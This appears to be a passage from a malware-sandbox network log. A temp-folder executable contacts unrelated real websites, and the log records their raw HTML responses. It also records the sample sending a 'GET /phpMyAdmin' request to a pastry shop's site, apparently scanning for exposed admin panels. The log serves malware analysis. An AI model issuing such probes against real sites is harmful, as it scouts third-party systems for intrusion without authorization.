2023-12-20 02:13:28 UTC	635	IN	Data Raw: 31 65 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 77 65 62 66 6c 6f 77 70 61 67 65 69 64 22 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 35 64 30 33 62 36 33 31 33 30 31 31 38 33 66 36 36 30 36 32 35 37 63 64 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 56 69 72 74 75 61 6c 20 52 65 61 6c 69 74 79 20 41 74 74 72 61 63 74 69 6f 6e 73 20 2d 20 4d 61 6a 6f 72 4d 65 67 61 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 57 65 20 63 6f 6d 62 69 6e 65 20 56 52 2c 20 6d 6f 74 69 6f 6e 20 73 69 6d 6c 75 61 74 69 6f 6e 20 61 6e 64 20 65 6e 76 69 72 6f 72 6e 6d 65 6e 74 61 6c 20 65 66 66 65 Data Ascii: 1e4e<!DOCTYPE html><html data-wf-page="webflowpageid" data-wf-site="5d03b631301183f6606257cd"><head><meta charset="utf-8"><title>Virtual Reality Attractions - MajorMega</title><meta content="We combine VR, motion simluation and envirornmental effe
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 76 6a 65 31 6f 64 7a 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 54 79 70 65 6b 69 74 2e 6c 6f 61 64 28 29 3b 7d 63 61 74 63 68 28 65 29 7b 7d 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a Data Ascii: a content="width=device-width, initial-scale=1" name="viewport"><script src="https://use.typekit.net/vje1odz.js" type="text/javascript"></script><script type="text/javascript">try{Typekit.load();}catch(e){}</script>... [if lt IE 9]><script src="https:
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6d 61 6a 6f 72 6d 65 67 Data Ascii: nts/feed/" /><script>window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/majormeg
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 33 63 5c 75 64 66 66 62 5c 75 32 30 30 62 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5c 75 64 66 66 66 22 29 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 3f 6e 65 77 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c 79 3a 21 30 7d 29 2c 6f 3d 28 61 2e 74 65 78 Data Ascii: 3c\udffb\u200b\ud83e\udef2\ud83c\udfff")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.tex
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 20 69 6e 20 65 29 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 3d 3d 74 26 26 28 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 29 3b 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 Data Ascii: ion(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFla
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 61 63 74 69 76 65 2d 66 69 6c 74 65 72 73 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 61 64 64 2d 74 6f 2d 63 61 72 74 2d 66 6f 72 6d 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 61 64 64 2d 74 6f 2d 63 61 72 74 2d 66 6f 72 6d 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 Data Ascii: active-filters.css?ver=10.6.5" media="all" /><link rel="stylesheet" id="wc-blocks-style-add-to-cart-form-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/add-to-cart-form.css?ver=10.6.5" media="all" /><li
2023-12-20 02:13:28 UTC	286	IN	Data Raw: 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 63 61 74 61 6c 6f 67 2d 73 6f 72 74 69 6e 67 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 63 75 73 74 6f 6d 65 72 2d 61 63 63 6f 75 6e 74 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 63 75 73 74 6f 6d 65 72 2d 61 63 63 6f 75 6e 74 2e 63 Data Ascii: ckages/woocommerce-blocks/build/catalog-sorting.css?ver=10.6.5" media="all" /><link rel="stylesheet" id="wc-blocks-style-customer-account-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/customer-account.c
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 37 35 30 31 0d 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 66 65 61 74 75 72 65 64 2d 63 61 74 65 67 6f 72 79 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 66 65 61 74 75 72 65 64 2d 63 61 74 65 67 6f 72 79 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 Data Ascii: 7501<link rel="stylesheet" id="wc-blocks-style-featured-category-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/featured-category.css?ver=10.6.5" media="all" /><link rel="stylesheet" id="wc-blocks-sty
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 70 72 6f 64 75 63 74 2d 63 61 74 65 67 6f 72 69 65 73 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 70 72 6f 64 75 63 74 2d 69 6d 61 67 65 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 70 72 6f 64 75 63 74 2d 69 6d 61 67 65 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 Data Ascii: ce-blocks/build/product-categories.css?ver=10.6.5" media="all" /><link rel="stylesheet" id="wc-blocks-style-product-image-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-image.css?ver=10.6.5" medi
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 70 72 6f 64 75 63 74 2d 73 65 61 72 63 68 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 70 72 6f 64 75 63 74 2d 73 6b 75 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f Data Ascii: -css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-search.css?ver=10.6.5" media="all" /><link rel="stylesheet" id="wc-blocks-style-product-sku-css" href="https://majormega.com/wp-content/plugins/woo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	58387	23.227.38.32	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	176	OUT	GET /phpMyAdmin HTTP/1.1 Host: artusopastry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	1354	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 X-Storefront-Renderer-Rendered: 1 ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592" Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin Set-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:27 GMT Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:27 GMT; SameSite=Lax Set-Cookie: _shopify_y=57b86828-35b1-471d-9aa5-12be22ec6cdd; Expires=Thu, 19-Dec-24 02:13:27 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=831ce7eb-d0e1-444e-a0e9-9185b9a319a0; Expires=Wed, 20-Dec-23 02:43:27 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax X-Cache: hit, server X-Frame-Options: DENY Content-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests; Strict-Transport-Security: max-age=7889238 X-ShopId: 1584544 X-ShardId: 312 Vary: Accept Content-Language: en powered-by: Shopify
2023-12-20 02:13:27 UTC	922	IN	Data Raw: 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 3a 20 70 72 6f 63 65 73 73 69 6e 67 3b 64 75 72 3d 31 33 2c 20 64 62 3b 64 75 72 3d 35 2c 20 61 73 6e 3b 64 65 73 63 3d 22 31 37 34 22 2c 20 65 64 67 65 3b 64 65 73 63 3d 22 4d 49 41 22 2c 20 63 6f 75 6e 74 72 79 3b 64 65 73 63 3d 22 55 53 22 2c 20 74 68 65 6d 65 3b 64 65 73 63 3d 22 38 34 30 39 31 37 39 37 35 39 30 22 2c 20 70 61 67 65 54 79 70 65 3b 64 65 73 63 3d 22 34 30 34 22 2c 20 73 65 72 76 65 64 42 79 3b 64 65 73 63 3d 22 6d 39 74 77 22 2c 20 72 65 71 75 65 73 74 49 44 3b 64 65 73 63 3d 22 61 33 36 30 38 30 66 61 2d 35 62 65 66 2d 34 61 61 30 2d 62 39 38 66 2d 37 33 37 35 34 35 32 61 35 33 32 37 22 0d 0a 58 2d 53 68 6f 70 69 66 79 2d 53 74 61 67 65 3a 20 70 72 6f 64 75 63 74 69 6f 6e 0d 0a 58 2d 52 65 71 75 Data Ascii: Server-Timing: processing;dur=13, db;dur=5, asn;desc="174", edge;desc="MIA", country;desc="US", theme;desc="84091797590", pageType;desc="404", servedBy;desc="m9tw", requestID;desc="a36080fa-5bef-4aa0-b98f-7375452a5327"X-Shopify-Stage: productionX-Requ
2023-12-20 02:13:27 UTC	462	IN	Data Raw: 37 36 64 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 21 2d 2d 20 42 61 73 69 63 20 70 61 67 65 20 6e 65 65 64 73 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 0a 20 20 0a 0a 20 20 3c 21 2d 2d 20 54 69 74 6c 65 20 61 6e 64 20 64 65 73 Data Ascii: 76d0<!doctype html><html class="no-js" lang="en"><head> ... Basic page needs ================================================== --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> ... Title and des
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 6e 69 70 70 65 74 73 2f 73 6f 63 69 61 6c 2d 6d 65 74 61 2d 74 61 67 73 2e 6c 69 71 75 69 64 20 2d 2d 3e 0a 0a 0a 0a 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 41 72 74 75 73 6f 20 50 61 73 74 72 79 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 75 73 6f 70 61 73 74 72 79 2e 63 6f 6d 2f 34 30 34 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e 0a 3c Data Ascii: nippets/social-meta-tags.liquid --><meta property="og:site_name" content="Artuso Pastry"><meta property="og:url" content="https://artusopastry.com/404"><meta property="og:title" content="404 Not Found"><meta property="og:type" content="website"><
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 6d 70 6c 65 74 65 2e 20 20 49 66 20 69 74 20 74 61 73 74 65 73 20 67 72 65 61 74 20 69 74 20 43 61 6e 6e 6f 6c 69 20 62 65 20 41 72 74 75 73 6f 2e 22 3e 0a 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 75 73 6f 70 61 73 74 72 79 2e 63 6f 6d 2f 34 30 34 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 66 32 30 32 31 22 3e 0a 20 20 3c 73 74 79 6c 65 Data Ascii: mplete. If it tastes great it Cannoli be Artuso."> <link rel="canonical" href="https://artusopastry.com/404"> <meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"> <meta name="theme-color" content="#1f2021"> <style
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 6f 62 6c 65 6d 20 61 75 74 68 65 6e 74 69 63 61 74 69 6e 67 20 79 6f 75 72 20 47 6f 6f 67 6c 65 20 4d 61 70 73 20 61 63 63 6f 75 6e 74 2e 22 2c 0a 20 20 20 20 20 20 63 61 72 74 45 6d 70 74 79 3a 20 22 59 6f 75 72 20 63 61 72 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 65 6d 70 74 79 2e 22 2c 0a 20 20 20 20 20 20 63 61 72 74 43 6f 6f 6b 69 65 3a 20 22 45 6e 61 62 6c 65 20 63 6f 6f 6b 69 65 73 20 74 6f 20 75 73 65 20 74 68 65 20 73 68 6f 70 70 69 6e 67 20 63 61 72 74 22 2c 0a 20 20 20 20 20 20 63 61 72 74 53 61 76 69 6e 67 73 3a 20 22 59 6f 75 27 72 65 20 73 61 76 69 6e 67 20 5b 73 61 76 69 6e 67 73 5d 22 2c 0a 20 20 20 20 20 20 70 72 6f 64 75 63 74 53 6c 69 64 65 4c 61 62 65 6c 3a 20 22 53 6c 69 64 65 20 5b 73 6c 69 64 65 5f 6e 75 6d 62 65 72 5d 20 6f 66 Data Ascii: oblem authenticating your Google Maps account.", cartEmpty: "Your cart is currently empty.", cartCookie: "Enable cookies to use the shopping cart", cartSavings: "You're saving [savings]", productSlideLabel: "Slide [slide_number] of
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 75 63 74 69 6f 6e 22 20 64 61 74 61 2d 6c 6f 63 61 6c 65 3d 22 65 6e 5f 55 53 22 20 64 61 74 61 2d 70 61 79 70 61 6c 2d 76 34 3d 22 74 72 75 65 22 20 64 61 74 61 2d 63 75 72 72 65 6e 63 79 3d 22 55 53 44 22 3e 0a 3c 6d 65 74 61 20 69 64 3d 22 61 6d 61 7a 6f 6e 2d 70 61 79 6d 65 6e 74 73 2d 6d 65 74 61 64 61 74 61 22 20 64 61 74 61 2d 61 6d 61 7a 6f 6e 2d 70 61 79 6d 65 6e 74 73 3d 22 74 72 75 65 22 20 64 61 74 61 2d 61 6d 61 7a 6f 6e 2d 70 61 79 6d 65 6e 74 73 2d 73 65 6c 6c 65 72 2d 69 64 3d 22 41 33 56 43 32 44 42 4f 34 35 4c 32 41 4a 22 20 64 61 74 61 2d 61 6d 61 7a 6f 6e 2d 70 61 79 6d 65 6e 74 73 2d 63 61 6c 6c 62 61 63 6b 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 75 73 6f 70 61 73 74 72 79 2e 63 6f 6d 2f 31 35 38 34 35 34 34 2f 61 6d 61 7a Data Ascii: uction" data-locale="en_US" data-paypal-v4="true" data-currency="USD"><meta id="amazon-payments-metadata" data-amazon-payments="true" data-amazon-payments-seller-id="A3VC2DBO45L2AJ" data-amazon-payments-callback-url="https://artusopastry.com/1584544/amaz
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 7b 22 61 63 63 65 73 73 54 6f 6b 65 6e 22 3a 22 33 38 61 31 31 36 35 33 38 66 31 62 65 34 34 65 66 63 66 32 30 64 38 32 33 36 34 66 31 39 39 64 22 2c 22 62 65 74 61 73 22 3a 5b 22 72 69 63 68 2d 6d 65 64 69 61 2d 73 74 6f 72 65 66 72 6f 6e 74 2d 61 6e 61 6c 79 74 69 63 73 22 5d 2c 22 64 6f 6d 61 69 6e 22 3a 22 61 72 74 75 73 6f 70 61 73 74 72 79 2e 63 6f 6d 22 2c 22 70 72 65 64 69 63 74 69 76 65 53 65 61 72 63 68 22 3a 74 72 75 65 2c 22 73 68 6f 70 49 64 22 3a 31 35 38 34 35 34 34 2c 22 73 6d 61 72 74 5f 70 61 79 6d 65 6e 74 5f 62 75 74 74 6f 6e 73 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 72 74 75 73 6f 70 61 73 74 72 79 2e 63 6f 6d 5c 2f 63 64 6e 5c 2f 73 68 6f 70 69 66 79 63 6c 6f 75 64 5c 2f 70 61 79 6d 65 6e 74 2d 73 68 65 65 74 5c 2f 61 Data Ascii: {"accessToken":"38a116538f1be44efcf20d82364f199d","betas":["rich-media-storefront-analytics"],"domain":"artusopastry.com","predictiveSearch":true,"shopId":1584544,"smart_payment_buttons_url":"https:\/\/artusopastry.com\/cdn\/shopifycloud\/payment-sheet\/a
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 77 2e 53 68 6f 70 69 66 79 50 61 79 20 7c 7c 20 7b 7d 3b 0a 77 69 6e 64 6f 77 2e 53 68 6f 70 69 66 79 50 61 79 2e 61 70 69 48 6f 73 74 20 3d 20 22 73 68 6f 70 2e 61 70 70 5c 2f 70 61 79 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 53 68 6f 70 69 66 79 20 3d 20 77 69 6e 64 6f 77 2e 53 68 6f 70 69 66 79 20 7c 7c 20 7b 7d 3b 0a 20 20 69 66 20 28 21 77 69 6e 64 6f 77 2e 53 68 6f 70 69 66 79 2e 66 65 61 74 75 72 65 41 73 73 65 74 73 29 20 77 69 6e 64 6f 77 2e 53 68 6f 70 69 66 79 2e 66 65 61 74 75 72 65 41 73 73 65 74 73 20 3d 20 7b 7d 3b 0a 20 20 77 69 6e 64 6f 77 2e 53 68 6f 70 69 66 79 2e 66 65 61 74 75 72 65 41 73 73 65 74 73 5b 27 73 68 6f 70 2d 6a 73 27 5d 20 3d 20 7b 22 70 61 79 2d 62 75 74 74 6f 6e 22 3a 5b Data Ascii: w.ShopifyPay \|\| {};window.ShopifyPay.apiHost = "shop.app\/pay";</script><script> window.Shopify = window.Shopify \|\| {}; if (!window.Shopify.featureAssets) window.Shopify.featureAssets = {}; window.Shopify.featureAssets['shop-js'] = {"pay-button":[
2023-12-20 02:13:27 UTC	1369	IN	Data Raw: 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 61 73 79 6e 63 4c 6f 61 64 28 29 20 7b 0a 20 20 20 20 76 61 72 20 75 72 6c 73 20 3d 20 5b 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6d 61 69 6c 6d 75 6e 63 68 2e 63 6f 5c 2f 77 69 64 67 65 74 73 5c 2f 73 69 74 65 2d 37 30 31 34 34 33 2d 36 30 39 62 36 30 63 37 62 32 37 36 33 62 62 31 66 65 63 63 65 38 32 35 35 34 65 30 63 61 33 62 30 36 64 35 62 33 61 38 2e 6a 73 3f 73 68 6f 70 3d 61 72 74 75 73 6f 70 61 73 74 72 79 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 22 